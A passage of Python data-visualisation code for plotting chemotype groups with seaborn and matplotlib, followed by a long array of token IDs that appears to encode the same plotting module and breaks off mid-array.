data=sub_df.loc[df['chemotype']==ct], alpha=.5, color=color, marker=marker, s=25, edgecolor='white', linewidth=0.5, label=ct, ax=ax) else: sns.scatterplot(x=kwargs['x'], y=kwargs['y'], data=sub_df.loc[df['chemotype']==ct], alpha=1, color=color, marker=marker, s=25, edgecolor='white', linewidth=0.5, label=ct, ax=ax) # include full ns handles, labels = ax.get_legend_handles_labels() if 'n_display' in kwargs: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles[:kwargs['n_display']], labels=labels[:kwargs['n_display']], title=kwargs['hue'].title(), handlelength=4) else: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles, labels=labels, title=kwargs['hue'].title(), handlelength=4) return ax
[ 1, 1053, 12655, 408, 7442, 13, 5215, 11701, 408, 10518, 13, 5215, 4560, 2272, 29889, 16202, 408, 885, 29879, 13, 5215, 4256, 8504, 13, 3166, 16250, 1053, 2322, 8977, 13, 5215, 1426, 6312, 13, 13, 5215, 24543, 283, 262, 408, 23822, 13, 3166, 22663, 9794, 29889, 16202, 29889, 4713, 293, 21744, 1053, 5101, 3538, 29918, 9161, 1989, 29882, 4928, 13, 3166, 2071, 19668, 29889, 484, 1141, 29890, 943, 1053, 26206, 342, 8139, 1141, 29890, 943, 13, 3166, 2071, 19668, 29889, 311, 510, 3283, 1053, 349, 5454, 13, 3166, 2071, 19668, 29889, 19594, 1053, 6535, 7187, 2190, 29892, 476, 6816, 550, 29892, 6418, 29911, 2965, 29903, 13, 3166, 2071, 19668, 29889, 2527, 10817, 1053, 4047, 10774, 2353, 29918, 27736, 29892, 4047, 10774, 2353, 29918, 13628, 13, 3166, 2071, 19668, 29889, 1457, 19170, 1053, 10117, 29636, 261, 13, 13, 3166, 2071, 19668, 29889, 2527, 10817, 29889, 18784, 3538, 1053, 6776, 457, 29918, 5721, 2925, 29892, 6776, 457, 29918, 29764, 537, 13, 3166, 2071, 19668, 29889, 1457, 19170, 1053, 10117, 29636, 261, 29892, 3080, 7976, 29636, 261, 13, 15926, 29889, 6768, 29889, 4990, 29889, 3317, 29918, 13099, 353, 29871, 29896, 29945, 29900, 13, 13, 3166, 1922, 481, 1053, 501, 23827, 13, 3166, 1002, 6735, 1053, 788, 29918, 6112, 29918, 18317, 13, 13, 5215, 6492, 368, 13, 5215, 6492, 368, 29889, 4262, 29918, 711, 1315, 408, 748, 13, 5215, 22889, 408, 286, 572, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 22889, 29889, 29873, 6541, 408, 260, 6541, 13, 5215, 22889, 29889, 27703, 408, 286, 27703, 13, 5215, 22889, 29889, 9012, 408, 286, 9012, 13, 5215, 22889, 29889, 5041, 267, 408, 286, 5041, 267, 13, 3166, 286, 572, 29918, 10154, 29895, 1169, 1053, 286, 5317, 29941, 29881, 13, 5215, 22889, 29889, 4912, 408, 7477, 13, 3166, 10365, 1626, 1053, 10365, 29918, 726, 13, 5215, 22889, 29889, 5031, 354, 7161, 29879, 408, 10802, 13971, 29879, 13, 13, 5215, 409, 370, 1398, 408, 269, 1983, 13, 13, 5215, 18116, 13, 25442, 886, 29889, 4572, 25442, 886, 877, 17281, 1495, 13, 25442, 886, 29889, 12857, 4572, 877, 17281, 1495, 13, 13, 2277, 29937, 13, 13, 1753, 2560, 29918, 8990, 29898, 1165, 1125, 13, 1678, 4853, 29889, 1028, 1475, 1839, 3332, 13359, 842, 29918, 12872, 29898, 8824, 29897, 13, 1678, 4853, 29889, 1028, 1475, 1839, 1266, 13359, 842, 29918, 12872, 29898, 8824, 29897, 13, 1678, 4853, 29889, 657, 29918, 29916, 8990, 2141, 24667, 29918, 8968, 580, 13, 1678, 4853, 29889, 657, 29918, 29891, 8990, 2141, 24667, 29918, 1563, 580, 13, 13, 268, 13, 1753, 1065, 29918, 1609, 29918, 2972, 29898, 12683, 29918, 2176, 29892, 13, 462, 29871, 3579, 19290, 1125, 13, 1678, 330, 353, 1677, 29918, 2176, 29889, 27789, 29898, 19290, 1839, 27789, 11287, 13, 1678, 2967, 29918, 978, 353, 9049, 5085, 1839, 7620, 29918, 978, 2033, 13, 268, 13, 1678, 363, 2318, 29892, 848, 297, 330, 29901, 13, 4706, 9049, 5085, 1839, 3257, 2033, 353, 2318, 13, 4706, 9049, 5085, 1839, 7620, 29918, 978, 2033, 353, 2967, 29918, 978, 29974, 15972, 18717, 2972, 13, 4706, 1065, 29918, 4262, 29898, 1272, 29892, 3579, 19290, 29897, 13, 1678, 736, 13, 13, 13, 1753, 1065, 29918, 4262, 29898, 2176, 29892, 13, 632, 3579, 19290, 1125, 13, 1678, 2537, 29892, 4853, 353, 14770, 29889, 1491, 26762, 29898, 1003, 2311, 29922, 19290, 1839, 1003, 2311, 11287, 13, 308, 13, 1678, 565, 525, 1403, 22878, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 1403, 22878, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 1557, 2620, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 565, 525, 29945, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 9651, 4853, 353, 1065, 29918, 1557, 2620, 29918, 29945, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 4706, 1683, 29901, 13, 9651, 4853, 353, 1065, 29918, 1557, 2620, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 4706, 565, 525, 2388, 29918, 2176, 29915, 297, 9049, 5085, 29901, 13, 9651, 4853, 353, 1065, 29918, 1359, 886, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 1727, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 1557, 2620, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 29882, 391, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 29882, 391, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 1646, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 1646, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 1429, 287, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 1429, 287, 29918, 1646, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 1884, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 1884, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 25590, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 25590, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 29895, 311, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 29895, 311, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 1678, 25342, 525, 1220, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 353, 1065, 29918, 1220, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 29897, 13, 13, 1678, 565, 525, 1188, 29915, 297, 9049, 5085, 29901, 13, 29937, 308, 4853, 29889, 842, 29918, 29916, 7052, 877, 11967, 1188, 742, 6276, 386, 3781, 29916, 29922, 29896, 29872, 29899, 29896, 29897, 13, 29937, 308, 4853, 29889, 842, 29918, 952, 29883, 744, 877, 11967, 1188, 742, 6276, 386, 3781, 29891, 29922, 29896, 29872, 29899, 29896, 29897, 13, 4706, 4853, 29889, 842, 29918, 29916, 7052, 877, 1188, 1495, 13, 4706, 4853, 29889, 842, 29918, 952, 29883, 744, 877, 1188, 1495, 13, 268, 13, 1678, 565, 525, 29916, 2576, 29879, 29915, 297, 9049, 5085, 29901, 13, 4706, 565, 7431, 29898, 19290, 1839, 29916, 2576, 29879, 11287, 1275, 29871, 29896, 29901, 13, 9651, 921, 2576, 29879, 353, 4853, 29889, 657, 29918, 29916, 2576, 580, 13, 9651, 9049, 5085, 1839, 29916, 2576, 29879, 2033, 353, 313, 19290, 1839, 29916, 2576, 29879, 2033, 29961, 29900, 1402, 921, 2576, 29879, 29961, 29896, 2314, 13, 4706, 4853, 29889, 842, 29918, 29916, 2576, 29898, 19290, 1839, 29916, 2576, 29879, 11287, 13, 308, 13, 1678, 565, 525, 29891, 2576, 29879, 29915, 297, 9049, 5085, 29901, 13, 4706, 565, 7431, 29898, 19290, 1839, 29891, 2576, 29879, 11287, 1275, 29871, 29896, 29901, 13, 9651, 343, 2576, 29879, 353, 4853, 29889, 657, 29918, 29891, 2576, 580, 13, 9651, 9049, 5085, 1839, 29891, 2576, 29879, 2033, 353, 313, 19290, 1839, 29891, 2576, 29879, 2033, 29961, 29900, 1402, 343, 2576, 29879, 29961, 29896, 2314, 13, 4706, 4853, 29889, 842, 29918, 29891, 2576, 29898, 19290, 1839, 29891, 2576, 29879, 11287, 13, 13, 1678, 4853, 29889, 842, 29918, 29916, 1643, 29898, 19290, 1839, 29916, 29918, 1643, 7464, 4079, 7915, 2433, 8934, 742, 4079, 2311, 29922, 29896, 29896, 29897, 13, 1678, 4853, 29889, 842, 29918, 29891, 1643, 29898, 19290, 1839, 29891, 29918, 1643, 7464, 4079, 7915, 2433, 8934, 742, 4079, 2311, 29922, 29896, 29896, 29897, 13, 268, 13, 268, 13, 29937, 268, 565, 525, 2388, 29918, 2176, 29915, 297, 9049, 5085, 29901, 13, 29937, 308, 4853, 29906, 353, 4853, 29889, 7516, 4901, 580, 13, 29937, 308, 4853, 29906, 29889, 842, 29918, 486, 7358, 29898, 4853, 29889, 657, 29918, 486, 7358, 580, 1723, 13, 29937, 308, 4853, 29906, 29889, 842, 29918, 29916, 9917, 29898, 1165, 29889, 657, 29918, 29916, 9917, 3101, 13, 29937, 308, 4853, 29906, 29889, 842, 29918, 486, 860, 21134, 4197, 29916, 29914, 1165, 29889, 657, 29918, 486, 7358, 2141, 3317, 580, 363, 921, 297, 4853, 29889, 657, 29918, 486, 7358, 580, 2314, 13, 29937, 308, 4853, 29906, 29889, 842, 29918, 29916, 1643, 877, 5896, 886, 373, 9609, 18717, 710, 29898, 19290, 1839, 29916, 2033, 29974, 29896, 511, 4079, 7915, 2433, 8934, 742, 4079, 2311, 29922, 29896, 29896, 29897, 13, 13, 29937, 308, 4853, 29941, 353, 4853, 29889, 29873, 5080, 29916, 580, 13, 29937, 308, 4853, 29941, 29889, 842, 29918, 3637, 7358, 29898, 1165, 29889, 657, 29918, 3637, 7358, 3101, 13, 29937, 308, 4853, 29941, 29889, 842, 29918, 29891, 9917, 29898, 1165, 29889, 657, 29918, 29891, 9917, 3101, 13, 29937, 308, 4853, 29941, 29889, 842, 29918, 3637, 860, 21134, 4197, 29891, 29914, 1165, 29889, 657, 29918, 3637, 7358, 2141, 3317, 580, 363, 343, 297, 4853, 29889, 657, 29918, 3637, 7358, 580, 2314, 13, 29937, 308, 4853, 29941, 29889, 842, 29918, 29891, 1643, 877, 5896, 886, 373, 9609, 18717, 710, 29898, 19290, 1839, 29891, 2033, 29974, 29896, 511, 4079, 7915, 2433, 8934, 742, 4079, 2311, 29922, 29896, 29896, 29897, 13, 13, 1678, 4853, 29889, 842, 29918, 3257, 29898, 19290, 1839, 3257, 7464, 4079, 7915, 2433, 8934, 742, 4079, 2311, 29922, 29896, 29906, 29897, 13, 268, 13, 1678, 2560, 29918, 8990, 29898, 1165, 29897, 13, 1678, 14770, 29889, 29873, 523, 29918, 2680, 580, 13, 1678, 2537, 29889, 7620, 1003, 877, 29894, 466, 29914, 18717, 19290, 1839, 7620, 29918, 978, 2033, 29974, 4286, 2732, 1495, 13, 268, 13, 1678, 736, 13, 13, 13, 1753, 4559, 29918, 2176, 29898, 2176, 29892, 921, 1125, 13, 1678, 565, 921, 1360, 29896, 29901, 13, 4706, 736, 4489, 13, 1678, 25342, 921, 29966, 29896, 29901, 13, 4706, 736, 4489, 29889, 11249, 29898, 1154, 29922, 29916, 29892, 4036, 29918, 3859, 29922, 29945, 29953, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 4489, 29889, 11249, 29898, 29876, 29922, 29916, 29892, 4036, 29918, 3859, 29922, 29945, 29953, 29897, 13, 13, 268, 13, 1753, 1065, 29918, 1403, 22878, 29898, 1272, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 1014, 29918, 2176, 353, 4559, 29918, 2176, 29898, 1272, 29892, 9049, 5085, 1839, 11249, 29918, 1154, 11287, 13, 268, 13, 1678, 396, 679, 17534, 515, 2989, 8783, 13, 1678, 565, 9049, 5085, 1839, 29916, 2033, 1275, 525, 12803, 2396, 13, 4706, 4489, 353, 10518, 29889, 29885, 2152, 29898, 1272, 29889, 2029, 7503, 29892, 9049, 5085, 1839, 22724, 2033, 1402, 13, 462, 1678, 1178, 29918, 16908, 2433, 12803, 742, 995, 29918, 16908, 2433, 4260, 29918, 386, 29883, 2824, 8865, 29898, 13099, 29922, 1839, 11918, 11287, 13, 4706, 1014, 29918, 2176, 353, 10518, 29889, 29885, 2152, 29898, 1491, 29918, 1272, 29889, 2029, 7503, 29892, 9049, 5085, 1839, 22724, 2033, 1402, 13, 462, 1678, 1178, 29918, 16908, 2433, 12803, 742, 995, 29918, 16908, 2433, 4260, 29918, 386, 29883, 2824, 8865, 29898, 13099, 29922, 1839, 11918, 11287, 13, 4706, 1797, 29892, 302, 29918, 8977, 353, 5537, 262, 29918, 2098, 29898, 2176, 29892, 2318, 29918, 1609, 2433, 12803, 1495, 13, 1678, 1683, 29901, 13, 4706, 565, 525, 22724, 29915, 297, 9049, 5085, 29901, 13, 9651, 4489, 353, 10518, 29889, 29885, 2152, 29898, 1272, 29889, 2029, 7503, 29892, 9049, 5085, 1839, 22724, 2033, 1402, 722, 29918, 978, 29922, 19290, 1839, 29916, 11287, 13, 9651, 1014, 29918, 2176, 353, 10518, 29889, 29885, 2152, 29898, 1491, 29918, 2176, 29889, 2029, 7503, 29892, 9049, 5085, 1839, 22724, 2033, 1402, 722, 29918, 978, 29922, 19290, 1839, 29916, 11287, 13, 9651, 1797, 29892, 302, 29918, 8977, 353, 5537, 262, 29918, 2098, 29898, 2176, 29892, 2318, 29918, 1609, 29922, 19290, 1839, 29916, 11287, 13, 4706, 1683, 29901, 13, 9651, 4489, 353, 848, 13, 9651, 1014, 29918, 2176, 353, 1014, 29918, 2176, 13, 9651, 1797, 29892, 302, 29918, 8977, 353, 5537, 262, 29918, 2098, 29898, 2176, 29892, 2318, 29918, 1609, 29922, 19290, 1839, 29916, 11287, 13, 13, 1678, 396, 565, 758, 29899, 842, 1797, 29892, 671, 393, 13, 1678, 565, 525, 2098, 29915, 297, 9049, 5085, 29901, 13, 4706, 1797, 353, 9049, 5085, 1839, 2098, 2033, 13, 13, 1678, 396, 6492, 411, 4559, 29881, 848, 13, 1678, 565, 525, 29886, 26456, 29915, 297, 9049, 5085, 29901, 13, 4706, 269, 1983, 29889, 1403, 22878, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 539, 848, 29922, 1491, 29918, 2176, 29892, 13, 462, 539, 6287, 2433, 2103, 742, 1797, 29922, 2098, 29892, 13, 462, 539, 282, 26456, 29922, 19290, 1839, 29886, 26456, 7464, 1196, 2103, 29922, 29900, 29892, 4853, 29922, 1165, 29897, 13, 1678, 1683, 29901, 13, 4706, 269, 1983, 29889, 1403, 22878, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 539, 848, 29922, 1491, 29918, 2176, 29892, 13, 462, 539, 6287, 2433, 2103, 742, 1797, 29922, 2098, 29892, 13, 462, 539, 2927, 2433, 4366, 2536, 1845, 764, 742, 1196, 2103, 29922, 29900, 29892, 4853, 29922, 1165, 29897, 13, 268, 13, 1678, 13756, 7024, 353, 426, 13, 4706, 525, 1884, 11030, 2396, 10998, 2161, 2780, 22099, 8517, 742, 525, 12864, 2780, 22099, 8517, 742, 525, 16292, 2396, 29941, 1118, 13, 4706, 525, 2168, 713, 11030, 2396, 10998, 2780, 22099, 10921, 742, 525, 16292, 2396, 29906, 1118, 13, 4706, 525, 1332, 3873, 261, 11030, 2396, 10998, 2780, 22099, 8517, 742, 525, 16292, 2396, 29906, 29913, 13, 1678, 500, 13, 13, 1678, 3800, 5317, 353, 269, 1983, 29889, 1884, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 3986, 848, 29922, 2176, 29892, 1797, 29922, 2098, 29892, 13, 462, 3986, 1510, 29883, 2547, 29922, 8824, 29892, 2920, 29922, 29900, 29889, 29900, 29953, 29892, 13, 462, 3986, 285, 27801, 675, 29922, 29900, 29889, 29945, 29892, 4853, 29922, 1165, 29892, 3579, 8618, 7024, 29897, 13, 268, 13, 1678, 565, 9049, 5085, 1839, 485, 29887, 2033, 29901, 13, 4706, 1029, 29887, 29918, 485, 3174, 353, 4489, 29889, 27789, 29898, 19290, 1839, 29916, 2033, 9601, 19290, 1839, 29891, 2033, 1822, 12676, 2141, 12676, 580, 13, 4706, 4853, 29889, 1165, 7760, 29898, 485, 29887, 29918, 485, 3174, 29892, 2927, 2433, 8517, 742, 6276, 342, 1508, 2433, 489, 1495, 13, 308, 13, 1678, 565, 525, 1165, 7760, 29915, 297, 9049, 5085, 29901, 13, 4706, 4853, 29889, 1165, 7760, 29898, 19290, 1839, 1165, 7760, 7464, 2927, 2433, 8517, 742, 6276, 342, 1508, 2433, 489, 1495, 13, 308, 13, 1678, 565, 525, 25590, 29899, 1557, 2361, 29915, 297, 9049, 5085, 1839, 7620, 29918, 978, 2033, 29901, 13, 4706, 4853, 29889, 1165, 7760, 29898, 29900, 29892, 2927, 2433, 8517, 742, 6276, 342, 1508, 2433, 489, 1495, 13, 268, 13, 1678, 565, 9049, 5085, 1839, 18816, 29918, 2388, 2033, 29901, 13, 4706, 3800, 29918, 29886, 7121, 353, 1051, 29898, 1524, 8504, 29889, 510, 2109, 800, 29898, 2098, 29892, 29878, 29922, 29906, 876, 13, 308, 13, 4706, 1243, 29918, 9902, 353, 788, 29918, 6112, 29918, 18317, 29898, 1165, 29892, 848, 29922, 2176, 29892, 13, 462, 462, 965, 921, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 462, 965, 1797, 29922, 2098, 29892, 13, 462, 462, 965, 3800, 29918, 29886, 7121, 29922, 1884, 29918, 29886, 7121, 29892, 13, 462, 462, 965, 1426, 29918, 6735, 29918, 6341, 11759, 657, 29918, 16202, 29898, 2176, 29892, 5101, 29892, 9049, 5085, 1839, 29916, 11287, 363, 5101, 297, 3800, 29918, 29886, 7121, 1402, 13, 462, 462, 965, 2189, 29918, 6112, 29918, 1688, 29922, 8824, 29892, 282, 5975, 11759, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 1402, 13, 462, 462, 965, 1180, 2433, 449, 2975, 742, 26952, 29922, 29900, 29897, 13, 462, 13, 29937, 308, 260, 1688, 29918, 2176, 353, 10518, 29889, 17271, 29898, 2248, 29922, 2098, 29892, 4341, 29922, 1839, 29891, 29918, 791, 3788, 29886, 29918, 791, 3788, 1111, 26791, 29918, 29881, 11287, 13, 29937, 308, 260, 1688, 29918, 2176, 29961, 1839, 29891, 29918, 791, 3788, 29886, 29918, 791, 3788, 1111, 26791, 29918, 29881, 2033, 29962, 353, 260, 1688, 29918, 2176, 29889, 7302, 29898, 3389, 29918, 1111, 26791, 29892, 6389, 7607, 2176, 29892, 10353, 9685, 29922, 29896, 29892, 1121, 29918, 1853, 2433, 18837, 1495, 13, 29937, 308, 282, 29918, 791, 29918, 26859, 353, 29871, 29900, 29889, 29900, 29945, 29914, 698, 342, 29918, 2176, 29889, 12181, 29961, 29900, 29962, 13, 29937, 308, 260, 1688, 29918, 2176, 1839, 276, 622, 2033, 353, 260, 1688, 29918, 2176, 1839, 29886, 29918, 791, 2033, 5277, 282, 29918, 791, 29918, 26859, 13, 13, 29937, 308, 289, 1144, 353, 518, 29900, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29945, 29892, 29871, 29900, 29889, 29947, 29892, 7442, 29889, 7192, 29962, 13, 29937, 308, 2983, 353, 6024, 742, 525, 29930, 742, 525, 1068, 742, 525, 17435, 2033, 13, 29937, 308, 260, 1688, 29918, 2176, 1839, 8508, 2033, 353, 10518, 29889, 7582, 29898, 9302, 29889, 6897, 29898, 698, 342, 29918, 2176, 1839, 1111, 26791, 29918, 29881, 2033, 511, 289, 1144, 29892, 11073, 29922, 7039, 29897, 13, 308, 13, 29937, 308, 363, 474, 29892, 5120, 297, 26985, 29898, 2098, 1125, 13, 29937, 632, 565, 260, 1688, 29918, 2176, 29889, 2029, 29961, 12803, 29892, 525, 276, 622, 2033, 29901, 13, 29937, 462, 343, 353, 260, 1688, 29918, 2176, 29889, 2029, 29961, 12803, 29892, 525, 29891, 29918, 791, 2033, 13, 462, 13, 29937, 462, 4853, 29889, 726, 29898, 29875, 29892, 343, 29974, 29906, 29892, 260, 1688, 29918, 2176, 29889, 2029, 29961, 12803, 29892, 525, 8508, 7464, 447, 2433, 5064, 742, 2159, 29922, 29906, 29900, 29897, 13, 268, 13, 1678, 565, 525, 29894, 29918, 486, 860, 21134, 29915, 297, 9049, 5085, 29901, 13, 308, 486, 860, 29918, 21134, 353, 4853, 29889, 657, 29918, 486, 860, 21134, 580, 13, 4706, 11073, 353, 518, 726, 6312, 29889, 5589, 29898, 29916, 29889, 657, 29918, 726, 3285, 29896, 29900, 29897, 363, 921, 297, 29871, 486, 860, 29918, 21134, 29962, 13, 4706, 903, 353, 4853, 29889, 842, 29918, 486, 860, 21134, 29898, 21134, 29892, 13733, 29922, 29929, 29900, 29892, 447, 2433, 5064, 1495, 13, 1678, 1683, 29901, 13, 308, 486, 860, 29918, 21134, 353, 4853, 29889, 657, 29918, 486, 860, 21134, 580, 13, 4706, 11073, 353, 518, 29916, 29889, 657, 29918, 726, 580, 29974, 12764, 15755, 2433, 29974, 710, 29898, 29876, 29918, 8977, 29961, 29916, 29889, 657, 29918, 726, 580, 22322, 1767, 11287, 363, 921, 297, 29871, 486, 860, 29918, 21134, 29962, 13, 4706, 903, 353, 4853, 29889, 842, 29918, 486, 860, 21134, 29898, 21134, 29897, 13, 268, 13, 1678, 736, 4853, 13, 13, 13, 1753, 5537, 262, 29918, 2098, 29898, 2176, 29892, 2318, 29918, 1609, 2433, 29907, 812, 370, 29374, 13, 1678, 1797, 353, 4489, 29889, 27789, 29898, 2972, 29918, 1609, 467, 2168, 713, 2141, 6605, 29918, 5975, 29898, 1609, 2433, 1767, 742, 12066, 2548, 29922, 8824, 467, 2248, 13, 1678, 302, 29918, 8977, 353, 4489, 29889, 27789, 29898, 2972, 29918, 1609, 467, 2798, 2141, 29911, 29889, 517, 29918, 8977, 29898, 12236, 2433, 8977, 1495, 13, 1678, 736, 1797, 29889, 5975, 29892, 302, 29918, 8977, 13, 13, 13, 1753, 1065, 29918, 1557, 2620, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 694, 29918, 13707, 353, 4489, 29889, 8865, 1056, 29898, 6484, 11759, 19290, 1839, 29916, 7464, 9049, 5085, 1839, 29891, 2033, 1402, 920, 2433, 1384, 1495, 13, 1678, 1014, 29918, 2176, 353, 4559, 29918, 2176, 29898, 1217, 29918, 13707, 29892, 9049, 5085, 1839, 11249, 29918, 1154, 11287, 13, 268, 13, 1678, 565, 525, 2311, 29915, 297, 9049, 5085, 29901, 13, 4706, 269, 353, 9049, 5085, 1839, 2311, 2033, 13, 1678, 1683, 29901, 13, 4706, 269, 353, 286, 572, 29889, 2214, 9629, 1839, 9012, 29889, 3502, 414, 675, 2033, 1068, 29906, 13, 308, 13, 1678, 565, 525, 12864, 2780, 29915, 297, 9049, 5085, 29901, 13, 4706, 21226, 353, 9049, 5085, 1839, 12864, 2780, 2033, 13, 1678, 1683, 29901, 13, 4706, 21226, 353, 525, 10921, 29915, 13, 268, 13, 1678, 565, 525, 29882, 434, 29915, 297, 9049, 5085, 29901, 13, 4706, 565, 525, 6605, 29918, 1761, 29915, 297, 9049, 5085, 29901, 13, 9651, 298, 434, 29918, 2098, 353, 9049, 5085, 1839, 6605, 29918, 1761, 2033, 13, 9651, 1014, 29918, 2176, 353, 1014, 29918, 2176, 29889, 6605, 29918, 5975, 29898, 19290, 1839, 29882, 434, 7464, 1820, 29922, 5675, 29918, 29879, 9555, 29898, 19290, 1839, 6605, 29918, 1761, 25901, 13, 4706, 1683, 29901, 13, 9651, 298, 434, 29918, 2098, 353, 1014, 29918, 2176, 29961, 19290, 1839, 29882, 434, 2033, 1822, 1767, 29918, 2798, 29879, 2141, 2248, 13, 268, 13, 4706, 269, 1983, 29889, 1557, 2620, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 4706, 298, 434, 29922, 19290, 1839, 29882, 434, 7464, 13, 462, 4706, 848, 29922, 1491, 29918, 2176, 29892, 13, 462, 4706, 269, 29922, 29879, 29892, 13, 462, 4706, 7636, 2780, 29922, 687, 29892, 13, 462, 4706, 15595, 29922, 29900, 29889, 29945, 29892, 13, 462, 4706, 298, 434, 29918, 2098, 29922, 29882, 434, 29918, 2098, 29892, 13, 462, 4706, 282, 26456, 29922, 19290, 1839, 29886, 26456, 7464, 13, 462, 4706, 4853, 29922, 1165, 29897, 13, 308, 396, 3160, 2989, 17534, 13, 4706, 17766, 29892, 11073, 353, 4853, 29889, 657, 29918, 26172, 29918, 3179, 793, 29918, 21134, 580, 13, 13, 4706, 565, 525, 29876, 29918, 4990, 29915, 297, 9049, 5085, 29901, 13, 9651, 11073, 29918, 29876, 353, 17288, 4117, 29892, 4489, 29889, 2029, 29961, 2176, 29961, 19290, 1839, 29882, 434, 2033, 29962, 1360, 4117, 1822, 12181, 29961, 29900, 2314, 363, 6635, 297, 298, 434, 29918, 2098, 29962, 13, 9651, 11073, 353, 518, 4117, 29974, 12764, 15755, 2433, 29974, 710, 29898, 29876, 29897, 363, 6635, 29892, 302, 297, 11073, 29918, 29876, 29962, 13, 13, 9651, 4853, 29889, 26172, 29898, 3179, 793, 29922, 3179, 793, 7503, 19290, 1839, 29876, 29918, 4990, 2033, 1402, 11073, 29922, 21134, 7503, 19290, 1839, 29876, 29918, 4990, 2033, 1402, 3611, 29922, 19290, 1839, 29882, 434, 13359, 3257, 3285, 4386, 2848, 29922, 29946, 29897, 13, 4706, 1683, 29901, 13, 9651, 11073, 29918, 29876, 353, 17288, 4117, 29892, 4489, 29889, 2029, 29961, 2176, 29961, 19290, 1839, 29882, 434, 2033, 29962, 1360, 4117, 1822, 12181, 29961, 29900, 2314, 363, 6635, 297, 298, 434, 29918, 2098, 29962, 13, 9651, 11073, 353, 518, 4117, 29974, 12764, 15755, 2433, 29974, 710, 29898, 29876, 29897, 363, 6635, 29892, 302, 297, 11073, 29918, 29876, 29962, 13, 13, 9651, 4853, 29889, 26172, 29898, 3179, 793, 29922, 3179, 793, 29892, 11073, 29922, 21134, 29892, 3611, 29922, 19290, 1839, 29882, 434, 13359, 3257, 3285, 4386, 2848, 29922, 29946, 29897, 13, 1678, 1683, 29901, 13, 4706, 269, 1983, 29889, 1727, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 1678, 848, 29922, 1491, 29918, 2176, 29892, 13, 462, 1678, 14801, 29918, 29895, 5652, 3790, 29915, 2312, 2396, 29900, 29889, 29896, 29892, 525, 2780, 22099, 4366, 2536, 1845, 764, 742, 525, 29878, 1901, 1891, 2396, 5574, 1118, 13, 462, 1678, 1196, 29918, 29895, 5652, 3790, 29915, 2780, 22099, 272, 927, 16675, 13, 462, 1678, 4853, 29922, 1165, 29897, 13, 308, 13, 4706, 364, 29892, 282, 353, 885, 29879, 29889, 5965, 279, 1171, 29878, 29898, 1217, 29918, 13707, 29961, 19290, 1839, 29916, 2033, 1402, 694, 29918, 13707, 29961, 19290, 1839, 29891, 2033, 2314, 13, 4706, 11073, 353, 6024, 4650, 353, 12365, 29889, 29906, 29888, 29913, 4286, 4830, 29898, 29878, 4638, 13, 268, 13, 4706, 565, 282, 529, 29871, 29896, 29872, 29899, 29941, 29900, 29900, 29901, 13, 9651, 11073, 29889, 4397, 877, 29886, 529, 29871, 29896, 29872, 29899, 29941, 29900, 29900, 1495, 13, 4706, 1683, 29901, 13, 9651, 11073, 29889, 4397, 877, 29886, 353, 12365, 29889, 29896, 29872, 29913, 4286, 4830, 29898, 29886, 876, 13, 4706, 4853, 29889, 26172, 29898, 21134, 29922, 1839, 29905, 29876, 4286, 7122, 29898, 21134, 29897, 2314, 13, 308, 13, 1678, 565, 525, 10633, 29918, 4151, 1144, 29915, 297, 9049, 5085, 29901, 13, 4706, 269, 29918, 27703, 353, 6024, 8517, 742, 525, 